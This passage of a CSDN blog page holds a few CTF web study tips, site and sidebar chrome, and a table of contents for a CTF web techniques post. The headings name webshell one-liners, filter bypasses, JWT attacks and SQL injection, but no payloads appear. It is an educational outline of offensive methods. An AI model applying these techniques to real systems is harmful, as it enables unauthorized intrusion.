4. 熟悉各种<em>Web</em>框架和技术,如<em>PHP</em>、Python、Ruby on Rails等,并了解其安全问<em>题</em>。
5. 使用各种搜索引擎和漏洞库来查找可能的漏洞和解决方案。
6. 阅读源代码并理解其工作原理,以便找到可能的漏洞。
7. 了解常见的<em>Web</em>防御技术,如WAF、CSP、HSTS、HTTPS等,并尝试绕过它们。
8. 提高自己的编程能力和代码审计技能,以便更好地理解代码中的漏洞和解决方案。</div>
</a>
</div>
</div>
</div>
</div>
<div class="blog-footer-bottom" style="margin-top:10px;">
<div id="copyright-box" class="">
<div id="csdn-copyright-footer" class="column small">
<ul class="footer-column-t">
<li>
<a rel="nofollow" href="//www.csdn.net/company/index.html#about" target="_blank">关于我们</a>
</li>
<li>
<a rel="nofollow" href="//www.csdn.net/company/index.html#recruit" target="_blank">招贤纳士</a>
</li>
<li><a rel="nofollow" href="https://fsc-p05.txscrm.com/T8PN8SFII7W" target="_blank">商务合作</a></li>
<li><a rel="nofollow" href="//marketing.csdn.net/questions/Q2202181748074189855" target="_blank">寻求报道</a></li>
<li>
<img src="//g.csdnimg.cn/common/csdn-footer/images/tel.png" alt="">
<span>400-660-0108</span>
</li>
<li>
<img src="//g.csdnimg.cn/common/csdn-footer/images/email.png" alt="">
<a rel="nofollow" href="mailto:[email protected]" target="_blank">[email protected]</a>
</li>
<li>
<img src="//g.csdnimg.cn/common/csdn-footer/images/cs.png" alt="">
<a rel="nofollow" href="https://csdn.s2.udesk.cn/im_client/?web_plugin_id=29181" target="_blank">在线客服</a>
</li>
<li>
工作时间 8:30-22:00
</li>
</ul>
<ul class="footer-column-b">
<li><img src="//g.csdnimg.cn/common/csdn-footer/images/badge.png" alt=""><a rel="nofollow" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=11010502030143" target="_blank">公安备案号11010502030143</a></li>
<li><a rel="nofollow" href="http://beian.miit.gov.cn/publish/query/indexFirst.action" target="_blank">京ICP备19004658号</a></li>
<li><a rel="nofollow" href="https://csdnimg.cn/release/live_fe/culture_license.png" target="_blank">京网文〔2020〕1039-165号</a></li>
<li><a rel="nofollow" href="https://csdnimg.cn/cdn/content-toolbar/csdn-ICP.png" target="_blank">经营性网站备案信息</a></li>
<li><a rel="nofollow" href="http://www.bjjubao.org/" target="_blank">北京互联网违法和不良信息举报中心</a></li>
<li><a rel="nofollow" href="https://download.csdn.net/tutelage/home" target="_blank">家长监护</a></li>
<li><a rel="nofollow" href="https://cyberpolice.mps.gov.cn/" target="_blank">网络110报警服务</a></li>
<li><a rel="nofollow" href="http://www.12377.cn/" target="_blank">中国互联网举报中心</a></li>
<li><a rel="nofollow" href="https://chrome.google.com/webstore/detail/csdn%E5%BC%80%E5%8F%91%E8%80%85%E5%8A%A9%E6%89%8B/kfkdboecolemdjodhmhmcibjocfopejo?hl=zh-CN" target="_blank">Chrome商店下载</a></li>
<li><a rel="nofollow" href="https://blog.csdn.net/blogdevteam/article/details/126135357" target="_blank">账号管理规范</a></li>
<li><a rel="nofollow" href="https://www.csdn.net/company/index.html#statement" target="_blank">版权与免责声明</a></li>
<li><a rel="nofollow" href="https://blog.csdn.net/blogdevteam/article/details/90369522" target="_blank">版权申诉</a></li>
<li><a rel="nofollow" href="https://img-home.csdnimg.cn/images/20220705052819.png" target="_blank">出版物许可证</a></li>
<li><a rel="nofollow" href="https://img-home.csdnimg.cn/images/20210414021142.jpg" target="_blank">营业执照</a></li>
<li>©1999-2024北京创新乐知网络技术有限公司</li>
</ul>
</div>
</div>
</div>
<script src="https://g.csdnimg.cn/common/csdn-footer/csdn-footer.js" data-isfootertrack="false" type="text/javascript"></script>
<script type="text/javascript">
window.csdn.csdnFooter.options = {
el: '.blog-footer-bottom',
type: 2
}
</script> </main>
<aside class="blog_container_aside">
<div id="asideProfile" class="aside-box">
<div class="profile-intro d-flex">
<div class="avatar-box d-flex justify-content-center flex-column">
<a href="https://blog.csdn.net/yjprolus" target="_blank" data-report-click="{"mod":"popu_379","spm":"1001.2101.3001.4121","dest":"https://blog.csdn.net/yjprolus","ab":"new"}">
<img src="https://profile-avatar.csdnimg.cn/5e28ec52bc45424f8763db50bc3115af_yjprolus.jpg!1" class="avatar_pic">
</a>
</div>
<div class="user-info d-flex flex-column profile-intro-name-box">
<div class="profile-intro-name-boxTop">
<a href="https://blog.csdn.net/yjprolus" target="_blank" class="" id="uid" title="yjprolus" data-report-click="{"mod":"popu_379","spm":"1001.2101.3001.4122","dest":"https://blog.csdn.net/yjprolus","ab":"new"}">
<span class="name " username="yjprolus">yjprolus</span>
</a>
<span>
</span>
<span class="flag expert-blog">
<span class="bubble">CSDN认证博客专家</span>
</span>
<span class="flag company-blog">
<span class="bubble">CSDN认证企业博客</span>
</span>
</div>
<div class="profile-intro-name-boxFooter">
<span class="personal-home-page personal-home-years" title="已加入 CSDN 4年">码龄4年</span>
<span class="personal-home-page">
<a class="personal-home-certification" href="https://i.csdn.net/#/uc/profile?utm_source=14998968" target="_blank" title="暂无认证">
<img src="https://csdnimg.cn/identity/nocErtification.png" alt="">
暂无认证
</a>
</span>
</div>
</div>
</div>
<div class="data-info d-flex item-tiling">
<dl class="text-center" title="14">
<a href="https://blog.csdn.net/yjprolus" data-report-click="{"mod":"1598321000_001","spm":"1001.2101.3001.4310"}" data-report-query="t=1">
<dt><span class="count">14</span></dt>
<dd class="font">原创</dd>
</a>
</dl>
<dl class="text-center" data-report-click="{"mod":"1598321000_002","spm":"1001.2101.3001.4311"}" title="64515">
<a href="https://blog.csdn.net/rank/list/weekly" target="_blank">
<dt><span class="count">6万+</span></dt>
<dd class="font">周排名</dd>
</a>
</dl>
<dl class="text-center" title="70109">
<a href="https://blog.csdn.net/rank/list/total" data-report-click="{"mod":"1598321000_003","spm":"1001.2101.3001.4312"}" target="_blank">
<dt><span class="count">7万+</span></dt>
<dd class="font">总排名</dd>
</a>
</dl>
<dl class="text-center" style="min-width:58px" title="184525">
<dt><span class="count">18万+</span></dt>
<dd>访问</dd>
</dl>
<dl class="text-center" title="3级,点击查看等级说明">
<dt><a href="https://blog.csdn.net/blogdevteam/article/details/103478461" target="_blank">
<img class="level" src="https://csdnimg.cn/identity/blog3.png">
</a>
</dt>
<dd>等级</dd>
</dl>
</div>
<div class="item-rank"></div>
<div class="data-info d-flex item-tiling">
<dl class="text-center" title="701">
<dt><span class="count">701</span></dt>
<dd>积分</dd>
</dl>
<dl class="text-center" id="fanBox" title="1706">
<dt><span class="count" id="fan">1706</span></dt>
<dd>粉丝</dd>
</dl>
<dl class="text-center" title="425">
<dt><span class="count">425</span></dt>
<dd>获赞</dd>
</dl>
<dl class="text-center" title="45">
<dt><span class="count">45</span></dt>
<dd>评论</dd>
</dl>
<dl class="text-center" title="2875">
<dt><span class="count">2875</span></dt>
<dd>收藏</dd>
</dl>
</div>
<div class="aside-box-footer">
<div class="badge-box d-flex">
<div class="badge d-flex">
<div class="icon-badge" title="分享学徒">
<div class="mouse-box">
<img class="medal-img" data-report-click="{"spm":"3001.4296"}" src="https://csdnimg.cn/medal/[email protected]" alt="分享学徒">
</div>
</div>
<div class="icon-badge" title="新秀勋章">
<div class="mouse-box">
<img class="medal-img" data-report-click="{"spm":"3001.4296"}" src="https://csdnimg.cn/medal/[email protected]" alt="新秀勋章">
</div>
</div>
<div class="icon-badge" title="五一创作勋章">
<div class="mouse-box">
<img class="medal-img" data-report-click="{"spm":"3001.4296"}" src="https://csdnimg.cn/medal/51_create.png" alt="五一创作勋章">
</div>
</div>
<div class="icon-badge" title="持续创作">
<div class="mouse-box">
<img class="medal-img" data-report-click="{"spm":"3001.4296"}" src="https://csdnimg.cn/medal/[email protected]" alt="持续创作">
</div>
</div>
<div class="icon-badge" title="创作能手">
<div class="mouse-box">
<img class="medal-img" data-report-click="{"spm":"3001.4296"}" src="https://csdnimg.cn/medal/[email protected]" alt="创作能手">
</div>
</div>
</div>
</div>
</div>
<div class="profile-intro-name-boxOpration">
<div class="opt-letter-watch-box">
<a rel="nofollow" class="bt-button personal-letter" href="https://im.csdn.net/chat/yjprolus" target="_blank">私信</a>
</div>
<div class="opt-letter-watch-box">
<a class="personal-watch bt-button" id="btnAttent">关注</a>
</div>
</div>
</div>
<a id="remuneration" data-report-click="{"spm":"1001.2101.3001.9809"}" rel="nofollow" href="" class="remuneration-box">
<img src="" alt="">
</a>
<div id="asideWriteGuide" class="aside-box side-write-guide-box type-2">
<div class="content-box">
<a rel="nofollow" href="https://edu.csdn.net/cloud/houjie?utm_source=hjblogllq" target="_blank" class="btn-go-write" data-report-query="spm=3001.9727" data-report-click="{"spm":"3001.9727"}">
<img src="https://img-home.csdnimg.cn/images/20241127042611.jpg" alt="写文章">
</a>
</div>
</div>
<div id="asideSearchArticle" class="aside-box">
<div class="aside-content search-comter">
<div class="aside-search aside-search-blog">
<input type="text" class="input-serch-blog" name="" autocomplete="off" value="" id="search-blog-words" placeholder="搜博主文章">
<a class="btn-search-blog" data-report-click="{"spm":"1001.2101.3001.9182"}">
<img src="//csdnimg.cn/cdn/content-toolbar/csdn-sou.png?v=1587021042">
</a>
</div>
</div>
</div>
<div class="box-shadow mb8" data-pid="blog" style="min-height:250px;">
<div class="aside-content text-center" id="cpro_u2734133">
<div id="kp_box_56" data-pid="56"><!-- 300x250_A -->
<script defer="" type="text/javascript" id="interactive_js_adcode" src="https://kunpeng-render.csdnimg.cn/publisher/latest/truereachAdRender.js"></script>
<div id="TR-4ac9702b-be84-11ee-a301-b7516d250593" tr-id="TR-25175d0e-be85-11ee-a301-df2d1ae8f0e9" style="display: flex; margin: 0px auto; overflow: unset; justify-content: center;"><style class="del-style-TR-25175d0e-be85-11ee-a301-df2d1ae8f0e9">#TR-4ac9702b-be84-11ee-a301-b7516d250593 {
max-width: 300px;
overflow-x: auto !important;
overflow-y: hidden !important;
margin-top: 15px !important;
direction: rtl !important;
}
.del-TR-25175d0e-be85-11ee-a301-df2d1ae8f0e9 {
max-width: 300px;
}
#TR-4ac9702b-be84-11ee-a301-b7516d250593::-webkit-scrollbar {
width: 5px;
height:6px;
}
#TR-4ac9702b-be84-11ee-a301-b7516d250593::-webkit-scrollbar-track {
background: #cccccc4f;
}
#TR-4ac9702b-be84-11ee-a301-b7516d250593::-webkit-scrollbar-thumb {
background: #888888a3;
}</style><div class="del-TR-25175d0e-be85-11ee-a301-df2d1ae8f0e9" style="bottom: 0px; position: relative;"><div id="div-gpt-ad-1706517639329-0" style="min-width: 200px; min-height: 200px;"><script>
googletag.cmd.push(function() { googletag.display('div-gpt-ad-1706517639329-0'); });
</script></div></div></div><img class="pre-img-lasy" data-src="https://kunyu.csdn.net/1.png?p=56&adId=1048397&adBlockFlag=0&a=1048397&c=0&k=最全CTF Web题思路总结(更新ing)&spm=1001.2101.3001.5000&articleId=122903841&d=1&t=3&u=666312c5c350460fb386ef8cb65e0c41" style="display: block;width: 0px;height: 0px;"></div>
</div>
</div>
<div id="asideHotArticle" class="aside-box">
<h3 class="aside-title">热门文章</h3>
<div class="aside-content">
<ul class="hotArticle-list">
<li>
<a href="https://blog.csdn.net/yjprolus/article/details/123534726" target="_blank" data-report-click="{"mod":"popu_541","spm":"1001.2101.3001.4139","dest":"https://blog.csdn.net/yjprolus/article/details/123534726","ab":"new"}">
Python123作业题汇总(持续更新)
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
<span class="read">66169</span>
</a>
</li>
<li>
<a href="https://blog.csdn.net/yjprolus/article/details/122903841" target="_blank" data-report-click="{"mod":"popu_541","spm":"1001.2101.3001.4139","dest":"https://blog.csdn.net/yjprolus/article/details/122903841","ab":"new"}">
最全CTF Web题思路总结(更新ing)
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
<span class="read">59129</span>
</a>
</li>
<li>
<a href="https://blog.csdn.net/yjprolus/article/details/122129791" target="_blank" data-report-click="{"mod":"popu_541","spm":"1001.2101.3001.4139","dest":"https://blog.csdn.net/yjprolus/article/details/122129791","ab":"new"}">
计算机网络期末总结复习(全)
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
<span class="read">20468</span>
</a>
</li>
<li>
<a href="https://blog.csdn.net/yjprolus/article/details/121199745" target="_blank" data-report-click="{"mod":"popu_541","spm":"1001.2101.3001.4139","dest":"https://blog.csdn.net/yjprolus/article/details/121199745","ab":"new"}">
Swing + MySQL实现汽车租赁系统4.0
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
<span class="read">5818</span>
</a>
</li>
<li>
<a href="https://blog.csdn.net/yjprolus/article/details/121535095" target="_blank" data-report-click="{"mod":"popu_541","spm":"1001.2101.3001.4139","dest":"https://blog.csdn.net/yjprolus/article/details/121535095","ab":"new"}">
记GFCTF线下AWD赛
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
<span class="read">4588</span>
</a>
</li>
</ul>
</div>
</div>
<div id="asideCategory" class="aside-box flexible-box">
<h3 class="aside-title">分类专栏</h3>
<div class="aside-content">
<ul>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_12729310.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_12729310.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="title oneline">
实习
</span>
</a>
<span class="special-column-num">1篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11506231.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11506231.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="title oneline">
CTF
</span>
</a>
<span class="special-column-num">3篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_12524410.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_12524410.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="title oneline">
前端
</span>
</a>
<span class="special-column-num">1篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11555760.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11555760.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20190927151043371.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="title oneline">
计基
</span>
</a>
<span class="special-column-num">5篇</span>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11608373.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11608373.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20190918140213434.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="title oneline">
数据结构和算法
</span>
</a>
</li>
<li>
<a class="clearfix special-column-name" href="https://blog.csdn.net/yjprolus/category_11483892.html" data-report-click="{"mod":"popu_537","spm":"1001.2101.3001.4137","strategy":"pc付费专栏左侧入口","dest":"https://blog.csdn.net/yjprolus/category_11483892.html","ab":"new"}">
<div class="special-column-bar "></div>
<img src="https://img-blog.csdnimg.cn/20201014180756919.png?x-oss-process=image/resize,m_fixed,h_64,w_64" alt="" onerror="this.src='https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64'">
<span class="title oneline">
Java
</span>
</a>
<span class="special-column-num">1篇</span>
</li>
</ul>
</div>
<p class="text-center">
<a class="flexible-btn" data-fbox="aside-archive"><img class="look-more" src="https://csdnimg.cn/release/blogv2/dist/pc/img/arrowDownWhite.png" alt=""></a>
</p>
</div>
<div id="asideNewComments" class="aside-box">
<h3 class="aside-title">最新评论</h3>
<div class="aside-content">
<ul class="newcomment-list">
<li>
<a class="title text-truncate" target="_blank" href="https://blog.csdn.net/yjprolus/article/details/122903841#comments_34129166" data-report-click="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/122903841#comments_34129166","ab":"new"}" data-report-view="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/122903841#comments_34129166","ab":"new"}">最全CTF Web题思路总结(更新ing)</a>
<p class="comment ellipsis">
<a href="https://blog.csdn.net/cxr_nm" class="user-name" target="_blank">cxr_nm: </a>
<span class="code-comments">看出来博主挺用心的,但对小白还是很困难</span>
</p>
</li>
<li>
<a class="title text-truncate" target="_blank" href="https://blog.csdn.net/yjprolus/article/details/122903841#comments_33560032" data-report-click="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/122903841#comments_33560032","ab":"new"}" data-report-view="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/122903841#comments_33560032","ab":"new"}">最全CTF Web题思路总结(更新ing)</a>
<p class="comment ellipsis">
<a href="https://blog.csdn.net/m0_61891645" class="user-name" target="_blank">渗透时长两年半的个人练习生: </a>
<span class="code-comments">太牛了,我就喜欢长的</span>
</p>
</li>
<li>
<a class="title text-truncate" target="_blank" href="https://blog.csdn.net/yjprolus/article/details/123534726#comments_33341992" data-report-click="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/123534726#comments_33341992","ab":"new"}" data-report-view="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/123534726#comments_33341992","ab":"new"}">Python123作业题汇总(持续更新)</a>
<p class="comment ellipsis">
<a href="https://blog.csdn.net/2403_84285084" class="user-name" target="_blank">去做就好.: </a>
<span class="code-comments">有大佬能回答一下投机取巧法到时候停止提交后算分后会给我扣分吗<img src="https://g.csdnimg.cn/static/face/emoji/001.png" alt="表情包"></span>
</p>
</li>
<li>
<a class="title text-truncate" target="_blank" href="https://blog.csdn.net/yjprolus/article/details/123534726#comments_33207818" data-report-click="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/123534726#comments_33207818","ab":"new"}" data-report-view="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/123534726#comments_33207818","ab":"new"}">Python123作业题汇总(持续更新)</a>
<p class="comment ellipsis">
<a href="https://blog.csdn.net/2401_84126297" class="user-name" target="_blank">2401_84126297: </a>
<span class="code-comments">太厉害了吧,感动!!</span>
</p>
</li>
<li>
<a class="title text-truncate" target="_blank" href="https://blog.csdn.net/yjprolus/article/details/122903841#comments_32291316" data-report-click="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/122903841#comments_32291316","ab":"new"}" data-report-view="{"mod":"popu_542","spm":"1001.2101.3001.4231","dest":"https://blog.csdn.net/yjprolus/article/details/122903841#comments_32291316","ab":"new"}">最全CTF Web题思路总结(更新ing)</a>
<p class="comment ellipsis">
<a href="https://blog.csdn.net/m0_64169451" class="user-name" target="_blank">九章娃: </a>
<span class="code-comments">这也太牛了</span>
</p>
</li>
</ul>
</div>
</div>
<div id="asideArchive" class="aside-box" style="display:block!important; width:300px;">
<h3 class="aside-title">最新文章</h3>
<div class="aside-content">
<ul class="inf_list clearfix">
<li class="clearfix">
<a href="https://blog.csdn.net/yjprolus/article/details/140421262" target="_blank" data-report-click="{"mod":"popu_382","spm":"1001.2101.3001.4136","dest":"https://blog.csdn.net/yjprolus/article/details/140421262","ab":"new"}" data-report-view="{"mod":"popu_382","dest":"https://blog.csdn.net/yjprolus/article/details/140421262","ab":"new"}">暑期oc后必看:一线城市实习,如何攒出一个小金库?</a>
</li>
<li class="clearfix">
<a href="https://blog.csdn.net/yjprolus/article/details/134937846" target="_blank" data-report-click="{"mod":"popu_382","spm":"1001.2101.3001.4136","dest":"https://blog.csdn.net/yjprolus/article/details/134937846","ab":"new"}" data-report-view="{"mod":"popu_382","dest":"https://blog.csdn.net/yjprolus/article/details/134937846","ab":"new"}">蓝桥杯Web组学习总结 - 目录导航版</a>
</li>
<li class="clearfix">
<a href="https://blog.csdn.net/yjprolus/article/details/133502622" target="_blank" data-report-click="{"mod":"popu_382","spm":"1001.2101.3001.4136","dest":"https://blog.csdn.net/yjprolus/article/details/133502622","ab":"new"}" data-report-view="{"mod":"popu_382","dest":"https://blog.csdn.net/yjprolus/article/details/133502622","ab":"new"}">2024双非网安保华五(中科大)电子信息经验分享</a>
</li>
</ul>
<div class="archive-bar"></div>
<div class="archive-box">
<div class="archive-list-item"><a href="https://blog.csdn.net/yjprolus?type=blog&year=2024&month=07" target="_blank" data-report-click="{"mod":"popu_538","spm":"1001.2101.3001.4138","ab":"new","dest":"https://blog.csdn.net/yjprolus?type=blog&year=2024&month=07"}"><span class="year">2024年</span><span class="num">1篇</span></a></div>
<div class="archive-list-item"><a href="https://blog.csdn.net/yjprolus?type=blog&year=2023&month=12" target="_blank" data-report-click="{"mod":"popu_538","spm":"1001.2101.3001.4138","ab":"new","dest":"https://blog.csdn.net/yjprolus?type=blog&year=2023&month=12"}"><span class="year">2023年</span><span class="num">2篇</span></a></div>
<div class="archive-list-item"><a href="https://blog.csdn.net/yjprolus?type=blog&year=2022&month=10" target="_blank" data-report-click="{"mod":"popu_538","spm":"1001.2101.3001.4138","ab":"new","dest":"https://blog.csdn.net/yjprolus?type=blog&year=2022&month=10"}"><span class="year">2022年</span><span class="num">5篇</span></a></div>
<div class="archive-list-item"><a href="https://blog.csdn.net/yjprolus?type=blog&year=2021&month=12" target="_blank" data-report-click="{"mod":"popu_538","spm":"1001.2101.3001.4138","ab":"new","dest":"https://blog.csdn.net/yjprolus?type=blog&year=2021&month=12"}"><span class="year">2021年</span><span class="num">6篇</span></a></div>
</div>
</div>
</div>
<div id="footerRightAds" class="isShowFooterAds">
<div class="aside-box">
<div id="kp_box_57" data-pid="57"><script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-1076724771190722" crossorigin="anonymous" data-checked-head="true"></script>
<!-- PC-博客-详情页-左下视窗-0-49 -->
<ins class="adsbygoogle" style="display: block; height: 250px;" data-ad-client="ca-pub-1076724771190722" data-ad-slot="4787882818" data-ad-format="auto" data-full-width-responsive="true" data-adsbygoogle-status="done"><div id="aswift_1_host" style="border: none; height: 250px; width: 300px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block;"></div></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script><img class="pre-img-lasy" data-src="https://kunyu.csdn.net/1.png?p=57&adId=1048398&adBlockFlag=0&a=1048398&c=0&k=最全CTF Web题思路总结(更新ing)&spm=1001.2101.3001.5001&articleId=122903841&d=1&t=3&u=43d69430ea3e4c10a6ce3ece9976d263" style="display: block;width: 0px;height: 0px;"></div>
</div>
</div>
<!-- 详情页显示目录 -->
<!--文章目录-->
<div id="asidedirectory" class="aside-box">
<div class="groupfile" id="directory">
<h3 class="aside-title">目录</h3>
<div class="align-items-stretch group_item">
<div class="pos-box">
<div class="scroll-box">
<div class="toc-box"><ol><li class="active"><a href="#t0">基础</a></li><li class="sub-box"><ol><li><a href="#t1">Flag可能出现的位置</a></li><li class="sub-box"><ol><li><a href="#t2">网页源代码(注意注释)</a></li><li><a href="#t3">数据库中</a></li><li><a href="#t4">phpinfo</a></li><li><a href="#t5">靶机中的文件</a></li><li><a href="#t6">环境变量</a></li><li><a href="#t7">题目要求</a></li></ol></li><li><a href="#t8">指纹识别</a></li><li class="sub-box"><ol><li><a href="#t9">TideFinger/Bscan/Glass/Arjun/Wappalyzer插件</a></li></ol></li><li><a href="#t10">源码和HTTP响应信息</a></li><li class="sub-box"><ol><li><a href="#t11">HTTP响应文</a></li><li><a href="#t12">错误界面(404/302)</a></li><li><a href="#t13">源码泄露</a></li></ol></li><li><a href="#t14">常用一句话</a></li><li class="sub-box"><ol><li><a href="#t15">PHP</a></li><li><a href="#t16">ASP</a></li><li><a href="#t17">ASPX</a></li><li><a href="#t18">JSP</a></li></ol></li><li><a href="#t19">PHP专题</a></li><li class="sub-box"><ol><li><a href="#t20">基础</a></li><li><a href="#t21">MD5/SHA1 绕过 // TODO</a></li><li><a href="#t22">弱类型</a></li><li><a href="#t23">正则式:/e可执行,构造越界 // TODO</a></li><li><a href="#t24">变量覆盖</a></li><li><a href="#t25">其他</a></li></ol></li></ol></li><li><a href="#t26">命令执行</a></li><li class="sub-box"><ol><li><a href="#t27">相关函数</a></li><li class="sub-box"><ol><li><a href="#t28">命令执行</a></li><li><a href="#t29">代码注入</a></li></ol></li><li><a href="#t30">绕过方式</a></li><li class="sub-box"><ol><li><a href="#t31">空格</a></li><li><a href="#t32">命令分隔符</a></li><li><a href="#t33">关键字</a></li><li><a href="#t34">限制长度</a></li><li><a href="#t35">限制回显</a></li><li><a href="#t36">无字母、数字getshell</a></li></ol></li></ol></li><li><a href="#t37">容器和框架漏洞</a></li><li class="sub-box"><ol><li><a href="#t38">Nginx</a></li><li><a href="#t39">IIS</a></li><li class="sub-box"><ol><li><a href="#t40">PUT上传漏洞</a></li><li><a href="#t41">远程溢出漏洞</a></li><li><a href="#t42">短文件漏洞</a></li></ol></li><li><a href="#t43">Apache</a></li><li class="sub-box"><ol><li><a href="#t44">HTTP组件提权 CVE-2019-0211</a></li><li><a href="#t45">CGI</a></li></ol></li><li><a href="#t46">PHP</a></li><li class="sub-box"><ol><li><a href="#t47">ThinkPHP</a></li><li><a href="#t48">Discuz</a></li><li><a href="#t49">Twig</a></li><li><a href="#t50">WordPress</a></li><li><a href="#t51">Laravel</a></li><li><a href="#t52">Smarty</a></li></ol></li><li><a href="#t53">Java</a></li><li class="sub-box"><ol><li><a href="#t54">Struts2</a></li><li><a href="#t55">Spring框架</a></li><li><a href="#t56">反序列化</a></li><li><a href="#t57">JRMP安全性问题</a></li></ol></li><li><a href="#t58">JWT攻击</a></li><li class="sub-box"><ol><li><a href="#t59">敏感信息泄露</a></li><li><a href="#t60">将算法修改为none</a></li><li><a href="#t61">密钥混淆攻击</a></li><li><a href="#t62">无效签名</a></li><li><a href="#t63">暴力破解密钥</a></li><li><a href="#t64">密钥泄露</a></li><li><a href="#t65">操纵KID</a></li><li><a href="#t66">操纵头部参数</a></li></ol></li><li><a href="#t67">JavaScript</a></li><li class="sub-box"><ol><li><a href="#t68">SSJI(服务端JavaScript注入)</a></li><li><a href="#t69">JavaScript Prototype 污染攻击</a></li></ol></li><li><a href="#t70">Python</a></li><li class="sub-box"><ol><li><a href="#t71">沙箱逃逸</a></li><li><a href="#t72">框架</a></li><li><a href="#t73">反序列化漏洞</a></li></ol></li><li><a href="#t74">Ruby</a></li><li class="sub-box"><ol><li><a href="#t75">ERB模板注入</a></li></ol></li></ol></li><li><a href="#t76">SQL注入</a></li><li class="sub-box"><ol><li><a href="#t77">原理</a></li><li class="sub-box"><ol><li><a href="#t78">用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行</a></li></ol></li><li><a href="#t79">分类</a></li><li class="sub-box"><ol><li><a href="#t80">联合注入</a></li><li><a href="#t81">报错注入</a></li><li><a href="#t82">布尔盲注</a></li><li><a href="#t83">时间盲注</a></li><li><a href="#t84">堆叠注入</a></li><li><a href="#t85">内联注入</a></li><li><a href="#t86">区别</a></li></ol></li><li><a href="#t87">利用点</a></li><li class="sub-box"><ol><li><a href="#t88">select - 四种基本注入</a></li><li><a href="#t89">update- 联合注入不行</a></li><li><a href="#t90">insert - 联合注入不行</a></li><li><a href="#t91">delete - 联合注入不行</a></li><li><a href="#t92">limit之后的注入</a></li><li><a href="#t93">order by之后的注入</a></li><li><a href="#t94">GET</a></li><li><a href="#t95">POST</a></li><li><a href="#t96">HTTP Header</a></li><li><a href="#t97">Cookie</a></li><li><a href="#t98">Referer</a></li><li><a href="#t99">User-Agent</a></li></ol></li><li><a href="#t100">绕过</a></li><li class="sub-box"><ol><li><a href="#t101">过滤and or</a></li><li><a href="#t102">左括号过滤</a></li><li><a href="#t103">右括号过滤</a></li><li><a href="#t104">过滤union\select</a></li><li><a href="#t105">过滤空格</a></li><li><a href="#t106">过滤=</a></li><li><a href="#t107">过滤比较符<></a></li><li><a href="#t108">过滤where</a></li><li><a href="#t109">过滤limit</a></li><li><a href="#t110">过滤group by</a></li><li><a href="#t111">过滤select</a></li><li><a href="#t112">过滤’(单引号)</a></li><li><a 